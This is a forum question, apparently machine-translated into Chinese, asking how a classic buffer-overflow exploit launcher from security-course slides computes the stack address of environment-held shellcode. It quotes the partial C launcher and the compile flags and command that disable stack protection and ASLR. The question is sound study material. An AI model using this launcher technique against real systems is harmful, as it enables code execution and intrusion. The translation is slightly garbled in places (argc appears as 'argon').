0

我从安全课程的讲座幻灯片中获得了以下代码。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
extern char shellcode;
#define VULN "./vuln"

int main(int argc, char **argv) {
    void *addr = (char *) 0xc0000000 - 4 
                 - (strlen(VULN) + 1)
                 - (strlen(&shellcode) + 1);
    fprintf(stderr, "Using address: 0x%p\n", addr);

    // some other stuff        

    char *params[] = { VULN, buf, NULL };
    char *env[] = { &shellcode, NULL };
    execve(VULN, params, env);
    perror("execve");
}

该代码在其环境中调用带有 shellcode 的易受攻击的程序。shellcode 是外部文件中的一些汇编代码,它打开一个 shell,VULN 定义了易受攻击的程序的名称。

我的问题:shellcode地址是如何计算的

addr 变量保存 shellcode 的地址(它是环境的一部分)。谁能向我解释这个地址是如何确定的?所以:

  • 0xc0000000 - 4 来自哪里?
  • 为什么要减去 shellcode 的长度和程序名?

请注意,这段代码和易受攻击的程序都是这样编译的:

$ CFLAGS="-m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2"
$ cc $CFLAGS -o vuln vuln.c
$ cc $CFLAGS -o exploit exploit.c shellcode.s
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0

所以地址空间随机化被关闭。

我知道堆栈是进程内部的第一件事(最高内存地址)。堆栈按以下顺序包含:

  1. 环境数据。
  2. argv
  3. 氩气
  4. main的返回地址
  5. 帧指针
  6. main 中的局部变量
  7. ...ETC...

常量和全局数据不存储在堆栈中,这就是为什么我也不明白为什么 VULN 常量的长度会影响放置 shellcode 的地址。

希望你能帮我解决这个问题:-)

请注意,我们正在使用 intel x86 架构上的 unix 系统

4

0 回答 0